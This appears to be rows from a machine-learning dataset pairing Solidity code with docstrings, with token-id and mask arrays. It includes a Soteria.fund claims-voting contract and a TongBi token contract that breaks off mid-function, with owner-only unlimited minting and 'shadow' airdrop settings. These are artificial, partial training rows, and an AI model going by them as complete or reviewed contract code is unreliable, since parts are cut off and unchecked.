783,
3726,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
2747,
5912,
6275,
4727,
12,
11890,
2313,
389,
1896,
5912,
6275,
4727,
13,
1071,
1338,
8443,
288,
203,
3639,
2583,
24899,
1896,
5912,
6275,
4727,
1648,
15088,
16,
315,
2725,
2747,
5912,
6275,
4727,
30,
4238,
7412,
3844,
4993,
1297,
486,
9943,
326,
4207,
4993,
1199,
1769,
203,
3639,
3626,
4238,
5912,
6275,
4727,
7381,
12,
3576,
18,
15330,
16,
943,
5912,
6275,
4727,
16,
389,
1896,
5912,
6275,
4727,
1769,
203,
3639,
943,
5912,
6275,
4727,
273,
389,
1896,
5912,
6275,
4727,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/* Copyright (C) 2021 Soteria.fund
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.17;
import "../../abstract/Iupgradable.sol";
import "../../libraries/SafeMath.sol";
import "../token/TokenFunctions.sol";
import "../token/TokenController.sol";
import "../token/TokenData.sol";
import "../token/SOTEToken.sol";
import "../capital/Pool1.sol";
import "../capital/Pool2.sol";
import "../capital/PoolData.sol";
import "../cover/QuotationData.sol";
import "./ClaimsReward.sol";
import "./ClaimsData.sol";
contract Claims is Iupgradable {
using SafeMath for uint;
TokenFunctions internal tf;
SOTEToken internal tk;
TokenController internal tc;
ClaimsReward internal cr;
Pool1 internal p1;
ClaimsData internal cd;
TokenData internal td;
PoolData internal pd;
Pool2 internal p2;
QuotationData internal qd;
MCR internal m1;
uint private constant DECIMAL1E18 = uint(10) ** 18;
/**
* @dev Sets the status of claim using claim id.
* @param claimId claim id.
* @param stat status to be set.
*/
function setClaimStatus(uint claimId, uint stat) external onlyInternal {
_setClaimStatus(claimId, stat);
}
/**
* @dev Gets claim details of claim id = pending claim start + given index
*/
function getClaimFromNewStart(
uint index
)
external
view
returns (
uint coverId,
uint claimId,
int8 voteCA,
int8 voteMV,
uint statusnumber
)
{
(coverId, claimId, voteCA, voteMV, statusnumber) = cd.getClaimFromNewStart(index, msg.sender);
// status = rewardStatus[statusnumber].claimStatusDesc;
}
/**
* @dev Gets details of a claim submitted by the calling user, at a given index
*/
function getUserClaimByIndex(
uint index
)
external
view
returns(
uint status,
uint coverId,
uint claimId
)
{
uint statusno;
(statusno, coverId, claimId) = cd.getUserClaimByIndex(index, msg.sender);
status = statusno;
}
/**
* @dev Gets details of a given claim id.
* @param _claimId Claim Id.
* @return status Current status of claim id
* @return finalVerdict Decision made on the claim, 1 -> acceptance, -1 -> denial
* @return claimOwner Address through which claim is submitted
* @return coverId Coverid associated with the claim id
*/
function getClaimbyIndex(uint _claimId) external view returns (
uint claimId,
uint status,
int8 finalVerdict,
address claimOwner,
uint coverId
)
{
uint stat;
claimId = _claimId;
(, coverId, finalVerdict, stat, , ) = cd.getClaim(_claimId);
claimOwner = qd.getCoverMemberAddress(coverId);
status = stat;
}
/**
* @dev Calculates total amount that has been used to assess a claim.
* Computaion:Adds acceptCA(tokens used for voting in favor of a claim)
* denyCA(tokens used for voting against a claim) * current token price.
* @param claimId Claim Id.
* @param member Member type 0 -> Claim Assessors, else members.
* @return tokens Total Amount used in Claims assessment.
*/
function getCATokens(uint claimId, uint member) external view returns(uint tokens) {
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 curr = qd.getCurrencyOfCover(coverId);
uint tokenx1e18 = m1.calculateTokenPrice(curr);
uint accept;
uint deny;
if (member == 0) {
(, accept, deny) = cd.getClaimsTokenCA(claimId);
} else {
(, accept, deny) = cd.getClaimsTokenMV(claimId);
}
tokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18); // amount (not in tokens)
}
/**
* Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {
tk = SOTEToken(ms.tokenAddress());
td = TokenData(ms.getLatestAddress("TD"));
tf = TokenFunctions(ms.getLatestAddress("TF"));
tc = TokenController(ms.getLatestAddress("TC"));
p1 = Pool1(ms.getLatestAddress("P1"));
p2 = Pool2(ms.getLatestAddress("P2"));
pd = PoolData(ms.getLatestAddress("PD"));
cr = ClaimsReward(ms.getLatestAddress("CR"));
cd = ClaimsData(ms.getLatestAddress("CD"));
qd = QuotationData(ms.getLatestAddress("QD"));
m1 = MCR(ms.getLatestAddress("MC"));
}
/**
* @dev Updates the pending claim start variable,
* the lowest claim id with a pending decision/payout.
*/
function changePendingClaimStart() public onlyInternal {
uint origstat;
uint state12Count;
uint pendingClaimStart = cd.pendingClaimStart();
uint actualClaimLength = cd.actualClaimLength();
for (uint i = pendingClaimStart; i < actualClaimLength; i++) {
(, , , origstat, , state12Count) = cd.getClaim(i);
if (origstat > 5 && ((origstat != 12) || (origstat == 12 && state12Count >= 60)))
cd.setpendingClaimStart(i);
else
break;
}
}
/**
* @dev Submits a claim for a given cover note.
* Adds claim to queue incase of emergency pause else directly submits the claim.
* @param coverId Cover Id.
*/
function submitClaim(uint coverId) public {
address qadd = qd.getCoverMemberAddress(coverId);
require(qadd == msg.sender);
uint8 cStatus;
(, cStatus, , , ) = qd.getCoverDetailsByCoverID2(coverId);
require(cStatus != uint8(QuotationData.CoverStatus.ClaimSubmitted), "Claim already submitted");
require(cStatus != uint8(QuotationData.CoverStatus.CoverExpired), "Cover already expired");
if (ms.isPause() == false) {
_addClaim(coverId, now, qadd);
} else {
cd.setClaimAtEmergencyPause(coverId, now, false);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.Requested));
}
}
/**
* @dev Submits the Claims queued once the emergency pause is switched off.
*/
function submitClaimAfterEPOff() public onlyInternal {
uint lengthOfClaimSubmittedAtEP = cd.getLengthOfClaimSubmittedAtEP();
uint firstClaimIndexToSubmitAfterEP = cd.getFirstClaimIndexToSubmitAfterEP();
uint coverId;
uint dateUpd;
bool submit;
address qadd;
for (uint i = firstClaimIndexToSubmitAfterEP; i < lengthOfClaimSubmittedAtEP; i++) {
(coverId, dateUpd, submit) = cd.getClaimOfEmergencyPauseByIndex(i);
require(submit == false);
qadd = qd.getCoverMemberAddress(coverId);
_addClaim(coverId, dateUpd, qadd);
cd.setClaimSubmittedAtEPTrue(i, true);
}
cd.setFirstClaimIndexToSubmitAfterEP(lengthOfClaimSubmittedAtEP);
}
/**
* @dev Castes vote for members who have tokens locked under Claims Assessment
* @param claimId claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitCAVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
require(cd.userClaimVotePausedOn(msg.sender).add(cd.pauseDaysCA()) < now);
uint tokens = tc.tokensLockedAtTime(msg.sender, "CLA", now.add(cd.claimDepositTime()));
require(tokens > 0);
uint stat;
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat == 0);
require(cd.getUserClaimVoteCA(msg.sender, claimId) == 0);
td.bookCATokens(msg.sender);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "CAV", tokens, now, verdict);
uint voteLength = cd.getAllVoteLength();
cd.addClaimVoteCA(claimId, voteLength);
cd.setUserClaimVoteCA(msg.sender, claimId, voteLength);
cd.setClaimTokensCA(claimId, verdict, tokens);
tc.extendLockOf(msg.sender, "CLA", td.lockCADays());
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
/**
* @dev Submits a member vote for assessing a claim.
* Tokens other than those locked under Claims
* Assessment can be used to cast a vote for a given claim id.
* @param claimId Selected claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitMemberVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
uint stat;
uint tokens = tc.totalBalanceOf(msg.sender);
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat >= 1 && stat <= 5);
require(cd.getUserClaimVoteMember(msg.sender, claimId) == 0);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "MV", tokens, now, verdict);
tc.lockForMemberVote(msg.sender, td.lockMVDays());
uint voteLength = cd.getAllVoteLength();
cd.addClaimVotemember(claimId, voteLength);
cd.setUserClaimVoteMember(msg.sender, claimId, voteLength);
cd.setClaimTokensMV(claimId, verdict, tokens);
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
/**
* @dev Pause Voting of All Pending Claims when Emergency Pause Start.
*/
function pauseAllPendingClaimsVoting() public onlyInternal {
uint firstIndex = cd.pendingClaimStart();
uint actualClaimLength = cd.actualClaimLength();
for (uint i = firstIndex; i < actualClaimLength; i++) {
if (checkVoteClosing(i) == 0) {
uint dateUpd = cd.getClaimDateUpd(i);
cd.setPendingClaimDetails(i, (dateUpd.add(cd.maxVotingTime())).sub(now), false);
}
}
}
/**
* @dev Resume the voting phase of all Claims paused due to an emergency pause.
*/
function startAllPendingClaimsVoting() public onlyInternal {
uint firstIndx = cd.getFirstClaimIndexToStartVotingAfterEP();
uint i;
uint lengthOfClaimVotingPause = cd.getLengthOfClaimVotingPause();
for (i = firstIndx; i < lengthOfClaimVotingPause; i++) {
uint pendingTime;
uint claimID;
(claimID, pendingTime, ) = cd.getPendingClaimDetailsByIndex(i);
uint pTime = (now.sub(cd.maxVotingTime())).add(pendingTime);
cd.setClaimdateUpd(claimID, pTime);
cd.setPendingClaimVoteStatus(i, true);
uint coverid;
(, coverid) = cd.getClaimCoverId(claimID);
address qadd = qd.getCoverMemberAddress(coverid);
tf.extendCNEPOff(qadd, coverid, pendingTime.add(cd.claimDepositTime()));
p1.closeClaimsOraclise(claimID, uint64(pTime));
}
cd.setFirstClaimIndexToStartVotingAfterEP(i);
}
/**
* @dev Checks if voting of a claim should be closed or not.
* @param claimId Claim Id.
* @return close 1 -> voting should be closed, 0 -> if voting should not be closed,
* -1 -> voting has already been closed.
*/
function checkVoteClosing(uint claimId) public view returns(int8 close) {
close = 0;
uint status;
(, status) = cd.getClaimStatusNumber(claimId);
uint dateUpd = cd.getClaimDateUpd(claimId);
if (status == 12 && dateUpd.add(cd.payoutRetryTime()) < now) {
if (cd.getClaimState12Count(claimId) < 60)
close = 1;
}
if (status > 5 && status != 12) {
close = -1;
} else if (status != 12 && dateUpd.add(cd.maxVotingTime()) <= now) {
close = 1;
} else if (status != 12 && dateUpd.add(cd.minVotingTime()) >= now) {
close = 0;
} else if (status == 0 || (status >= 1 && status <= 5)) {
close = _checkVoteClosingFinal(claimId, status);
}
}
/**
* @dev Checks if voting of a claim should be closed or not.
* Internally called by checkVoteClosing method
* for Claims whose status number is 0 or status number lie between 2 and 6.
* @param claimId Claim Id.
* @param status Current status of claim.
* @return close 1 if voting should be closed,0 in case voting should not be closed,
* -1 if voting has already been closed.
*/
function _checkVoteClosingFinal(uint claimId, uint status) internal view returns(int8 close) {
close = 0;
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 curr = qd.getCurrencyOfCover(coverId);
uint tokenx1e18 = m1.calculateTokenPrice(curr);
uint accept;
uint deny;
(, accept, deny) = cd.getClaimsTokenCA(claimId);
uint caTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
(, accept, deny) = cd.getClaimsTokenMV(claimId);
uint mvTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
uint sumassured = qd.getCoverSumAssured(coverId).mul(DECIMAL1E18);
if (status == 0 && caTokens >= sumassured.mul(10)) {
close = 1;
} else if (status >= 1 && status <= 5 && mvTokens >= sumassured.mul(10)) {
close = 1;
}
}
/**
* @dev Changes the status of an existing claim id, based on current
* status and current conditions of the system
* @param claimId Claim Id.
* @param stat status number.
*/
function _setClaimStatus(uint claimId, uint stat) internal {
uint origstat;
uint state12Count;
uint dateUpd;
uint coverId;
(, coverId, , origstat, dateUpd, state12Count) = cd.getClaim(claimId);
(, origstat) = cd.getClaimStatusNumber(claimId);
if (stat == 12 && origstat == 12) {
cd.updateState12Count(claimId, 1);
}
cd.setClaimStatus(claimId, stat);
if (state12Count >= 60 && stat == 12) {
cd.setClaimStatus(claimId, 13);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimDenied));
}
uint time = now;
cd.setClaimdateUpd(claimId, time);
if (stat >= 2 && stat <= 5) {
p1.closeClaimsOraclise(claimId, cd.maxVotingTime());
}
if (stat == 12 && (dateUpd.add(cd.payoutRetryTime()) <= now) && (state12Count < 60)) {
p1.closeClaimsOraclise(claimId, cd.payoutRetryTime());
} else if (stat == 12 && (dateUpd.add(cd.payoutRetryTime()) > now) && (state12Count < 60)) {
uint64 timeLeft = uint64((dateUpd.add(cd.payoutRetryTime())).sub(now));
p1.closeClaimsOraclise(claimId, timeLeft);
}
}
/**
* @dev Submits a claim for a given cover note.
* Set deposits flag against cover.
*/
function _addClaim(uint coverId, uint time, address add) internal {
tf.depositCN(coverId);
uint len = cd.actualClaimLength();
cd.addClaim(len, coverId, add, now);
cd.callClaimEvent(coverId, add, len, time);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimSubmitted));
bytes4 curr = qd.getCurrencyOfCover(coverId);
uint sumAssured = qd.getCoverSumAssured(coverId).mul(DECIMAL1E18);
pd.changeCurrencyAssetVarMin(curr, pd.getCurrencyAssetVarMin(curr).add(sumAssured));
p2.internalLiquiditySwap(curr);
p1.closeClaimsOraclise(len, cd.maxVotingTime());
}
} | * @dev Submits a member vote for assessing a claim. Tokens other than those locked under Claims Assessment can be used to cast a vote for a given claim id. @param claimId Selected claim id. @param verdict 1 for Accept,-1 for Deny./ | function submitMemberVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
uint stat;
uint tokens = tc.totalBalanceOf(msg.sender);
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat >= 1 && stat <= 5);
require(cd.getUserClaimVoteMember(msg.sender, claimId) == 0);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "MV", tokens, now, verdict);
tc.lockForMemberVote(msg.sender, td.lockMVDays());
uint voteLength = cd.getAllVoteLength();
cd.addClaimVotemember(claimId, voteLength);
cd.setUserClaimVoteMember(msg.sender, claimId, voteLength);
cd.setClaimTokensMV(claimId, verdict, tokens);
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
| 6,386,343 | [
1,
1676,
22679,
279,
3140,
12501,
364,
1551,
403,
310,
279,
7516,
18,
13899,
1308,
2353,
5348,
8586,
3613,
28895,
25241,
848,
506,
1399,
358,
4812,
279,
12501,
364,
279,
864,
7516,
612,
18,
225,
7516,
548,
4352,
828,
7516,
612,
18,
225,
1924,
1576,
404,
364,
8662,
16,
17,
21,
364,
22453,
93,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4879,
4419,
19338,
12,
11890,
7516,
548,
16,
509,
28,
1924,
1576,
13,
1071,
353,
4419,
1876,
1893,
19205,
288,
203,
3639,
2583,
12,
1893,
19338,
15745,
12,
14784,
548,
13,
480,
404,
1769,
203,
3639,
2254,
610,
31,
203,
3639,
2254,
2430,
273,
1715,
18,
4963,
13937,
951,
12,
3576,
18,
15330,
1769,
203,
3639,
261,
16,
610,
13,
273,
7976,
18,
588,
9762,
1482,
1854,
12,
14784,
548,
1769,
203,
3639,
2583,
12,
5642,
1545,
404,
597,
610,
1648,
1381,
1769,
203,
3639,
2583,
12,
4315,
18,
588,
1299,
9762,
19338,
4419,
12,
3576,
18,
15330,
16,
7516,
548,
13,
422,
374,
1769,
203,
3639,
7976,
18,
1289,
19338,
12,
3576,
18,
15330,
16,
2430,
16,
7516,
548,
16,
1924,
1576,
1769,
203,
3639,
7976,
18,
1991,
19338,
1133,
12,
3576,
18,
15330,
16,
7516,
548,
16,
315,
49,
58,
3113,
2430,
16,
2037,
16,
1924,
1576,
1769,
203,
3639,
1715,
18,
739,
1290,
4419,
19338,
12,
3576,
18,
15330,
16,
6655,
18,
739,
49,
58,
9384,
10663,
203,
3639,
2254,
12501,
1782,
273,
7976,
18,
588,
1595,
19338,
1782,
5621,
203,
3639,
7976,
18,
1289,
9762,
58,
352,
351,
2558,
12,
14784,
548,
16,
12501,
1782,
1769,
203,
3639,
7976,
18,
542,
1299,
9762,
19338,
4419,
12,
3576,
18,
15330,
16,
7516,
548,
16,
12501,
1782,
1769,
203,
3639,
7976,
18,
542,
9762,
5157,
49,
58,
12,
14784,
548,
16,
1924,
1576,
16,
2430,
1769,
203,
3639,
509,
1746,
273,
866,
19338,
15745,
12,
14784,
548,
1769,
203,
3639,
2
]
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
//这里是个事件,供前端监听
event OwnerEvent(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.这是一个构造函数,在合约启动时只运行一次,将合约的地址赋给地址owner
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner。这里就是modifier onlyOwner的修饰符,用来判定是否是合约的发布者
*
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
* 让合约拥有者修改指定新的合约拥有者,并调用事件来监听
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnerEvent(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
/**
* @title TongBi Coin
* @dev http://www.tongbi.io
* @dev WeChat:sixinwo
*/
contract TBCPublishToken is StandardToken,Ownable,Pausable{
string public name ;
string public symbol ;
uint8 public decimals ;
address public owner;
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, uint8 tokenDecimals) public {
owner = msg.sender;
totalSupply_ = initialSupply * 10 ** uint256(tokenDecimals);
balances[owner] = totalSupply_;
name = tokenName;
symbol = tokenSymbol;
decimals=tokenDecimals;
}
event Mint(address indexed to, uint256 value);
event TransferETH(address indexed from, address indexed to, uint256 value);
mapping(address => bool) touched;
mapping(address => bool) airDropPayabled;
bool public airDropShadowTag = true;
bool public airDropPayableTag = true;
uint256 public airDropShadowMoney = 888;
uint256 public airDropPayableMoney = 88;
uint256 public airDropTotalSupply = 0;
uint256 public buyPrice = 40000;
function setName(string name_) onlyOwner public{
name = name_;
}
function setSymbol(string symbol_) onlyOwner public{
symbol = symbol_;
}
function setDecimals(uint8 decimals_) onlyOwner public{
decimals = decimals_;
}
// public functions
function mint(address _to, uint256 _value) onlyOwner public returns (bool) {
require(_value > 0 );
balances[_to] = balances[_to].add(_value);
totalSupply_ = totalSupply_.add(_value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
return true;
}
function setAirDropShadowTag(bool airDropShadowTag_,uint airDropShadowMoney_) onlyOwner public{
airDropShadowTag = airDropShadowTag_;
airDropShadowMoney = airDropShadowMoney_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(msg.sender != address(0));
